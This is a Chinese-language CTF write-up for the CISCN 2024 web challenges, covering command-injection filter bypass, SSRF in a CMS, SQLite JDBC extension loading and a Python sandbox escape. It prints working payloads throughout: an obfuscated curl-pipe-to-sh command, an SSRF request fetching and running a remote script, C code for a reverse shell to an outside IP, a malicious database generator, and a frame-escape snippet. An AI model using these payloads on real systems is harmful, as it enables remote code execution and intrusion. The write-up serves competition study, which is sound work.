May 27, 2024

全国大学生信息安全竞赛 CISCN 2024 Web Writeup

simple_php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
ini_set('open_basedir', '/var/www/html/');
error_reporting(0);

if(isset($_POST['cmd'])){
$cmd = escapeshellcmd($_POST['cmd']);
if (!preg_match('/ls|dir|nl|nc|cat|tail|more|flag|sh|cut|awk|strings|od|curl|ping|\*|sort|ch|zip|mod|sl|find|sed|cp|mv|ty|grep|fd|df|sudo|more|cc|tac|less|head|\.|{|}|tar|zip|gcc|uniq|vi|vim|file|xxd|base64|date|bash|env|\?|wget|\'|\"|id|whoami/i', $cmd)) {
system($cmd);
}
}


show_source(__FILE__);
?>

这个open_basedir是一点用没有的。最终payload可以利用eval xxx配合`\`反斜杠去绕过关键字就可以 `cmd=eval `ec\ho Y3VybCBo\dHRwOi8vOC4xMzAuMjQuMTg4OjgwMDAvMS5zaHxzaA==|base\64 -d|s\h
image.png
反弹shell过后发现没有flag文件,查看ps -ef
image.png
发现存在mysql,上线cs平台后mysql -uroot -proot直接连进去读flag了
image.png

easycms

dirsearch可以扫出flag.php,内容后面给了hint

1
2
3
4
5
6
7
8
9
10
11
12
13
if($_SERVER["REMOTE_ADDR"] != "127.0.0.1"){

echo "Just input 'cmd' From 127.0.0.1";

return;

}else{

system($_GET['cmd']);

}


也就是说让我们找到一个ssrf的点位就行了。
image.png
源码审计发现down_img路由存在ssrf漏洞
但是我们要满足一个正则/(src)=([\"|']?)([^ \"'>]+)\\2/i",这个正则的含义其实也就是标签的内容,example:<img src="http://xxx?cmd=whoami"/>
这个路由原本是用来识别img标签里的src位置的,但我们可控输入所以就造成了ssrf,最终poc
value=<img src="[http://127.0.0.1/flag.php?cmd=curl%24IFS%249http%3A%2F%2F8.130.24.188%3A8000%2F1.sh%7Csh"](http://127.0.0.1/flag.php?cmd=curl%24IFS%249http%3A%2F%2F8.130.24.188%3A8000%2F1.sh%7Csh") alt="Example Image">
image.png
发送请求后vps收到请求
image.png
最终拿到flag

ezjava

考点是Java的Jdbc Attack对应的Sqlite部分。
虽然题目给了3个JDBC服务,但其实可以利用的只有sqlite,目的是rce。注意到开启了extension_enable选项
image.png
开启了拓展支持,并且已经有了相关的攻击面文章
https://conference.hitb.org/files/hitbsecconf2021sin/materials/D1T2%20-%20Make%20JDBC%20Attacks%20Brilliant%20Again%20-%20Xu%20Yuanzhen%20&%20Chen%20Hongkun.pdf
在这个ppt里我们知道如何去加载远程的db文件。首先我们开启远程debug调试一下看看逻辑。
image.png
这边会取resourceAddr的hashcode加上指定的前缀作为最终的缓存文件名。那么我们的思路就是利用这个特性缓存一个恶意的so文件,这是第一次请求。
恶意so文件制作过程如下

1
2
3
4
5
6
7
8
9
10
11
12
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>

void flag() {{
system("bash -c 'bash -i >& /dev/tcp/8.130.24.188/7778 <&1'");
}}

void space() {{
// this just exists so the resulting binary is > 500kB
static char waste[500 * 1024] = {{2}};
}}

gcc -shared -fPIC exp.c -o exp.so
最后我们使用load_extension(‘xxx’,’flag’)函数就会加载flag方法,成功的触发反弹shell了。
第二次请求我们就去加载这个恶意so文件。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
package com.javasec.pocs.solutions.ciscn;
import java.io.File;
import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.PreparedStatement;
import java.sql.Statement;

public class Gen {
public static void main(String[] args) {

try {
String dbFile = "poc.db";
File file = new File(dbFile);
Class.forName("org.sqlite.JDBC");
Connection conn = DriverManager.getConnection("jdbc:sqlite:"+dbFile);
System.out.println("Opened database successfully");


String sql = "CREATE VIEW security as SELECT ( SELECT load_extension('/tmp/sqlite-jdbc-tmp-1914716480.db','flag'));"; //向其中插入传入的三个参数
PreparedStatement preStmt = conn.prepareStatement(sql);

preStmt.executeUpdate();
preStmt.close();
conn.close();

} catch (Exception e) {
e.printStackTrace();
}

}
}


我们生成恶意db文件的脚本如上,可以看到我们创建了一个security表,然后用到了as SELECT语句。(security表用的是ppt里的,直接复制粘贴了)
然后我们发起请求就会触发select语句
image.png
image.png
然后就开始实操。首先先让目标缓存一下我们的so文件
image.png
然后我们再去加载恶意db,触发指定的sql语句。
image.png
image.png
最终获取flag

mossfern

yjail frame帧逃逸
https://xz.aliyun.com/t/13635?time__1311=mqmxnQ0QiQi%3DDteDsD7md0%3DdG%3Dd8bgh8wiD#toc-5
参考上述文章

1
2
3
4
5
6
7
8
9
10
11
12
13
POST /api/run HTTP/1.1
Host: eci-2zeflmaf18usxi7ngaav.cloudeci1.ichunqiu.com
Accept-Language: zh-CN,zh;q=0.9
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
Content-Type: application/json
Accept-Encoding: gzip, deflate
Origin: http://eci-2zeflmaf18usxi7ngaav.cloudeci1.ichunqiu.com
Referer: http://eci-2zeflmaf18usxi7ngaav.cloudeci1.ichunqiu.com/
Accept: application/json, text/plain, */*
Cookie: Hm_lvt_2d0601bd28de7d49818249cf35d95943=1713496688,1713681080,1715993802
Content-Length: 199

{"code":"def boogipop():\n def exp():\n yield pop.gi_frame.f_back.f_back.f_back\n pop = exp()\n for exp in pop:\n boo=exp\n return boo\nkino=boogipop()\nprint(kino)"}

image.png
可以看到已经获取到了f_code对象,根据文章中所说到的
f_code存在co_consts对象。
image.png
但是在本地测试的时候发现由于结果出现了flag字眼就会被拦截,这里其实很好绕过。
因为是全字符串检测,我们字符串截取部分自然就可以返回flag

1
2
3
4
5
6
7
8
9
def boogipop():
def exp():
yield pop.gi_frame.f_back.f_back.f_back
pop = exp()
for exp in pop:
boo=exp
return boo
kino=boogipop()
print(kino.f_code.co_consts[19][1:])

image.png

easycms_revenge

和第一天的都一样
value=<img src="[http://127.0.0.1/flag.php?cmd=curl%24IFS%249http%3A%2F%2F8.130.24.188%3A8000%2F1.sh%7Csh"](http://127.0.0.1/flag.php?cmd=curl%24IFS%249http%3A%2F%2F8.130.24.188%3A8000%2F1.sh%7Csh") alt="Example Image">
image.png
发送请求后vps收到请求
image.png
最终拿到flag

About this Post

This post is written by Boogipop, licensed under CC BY-NC 4.0.

#WriteUp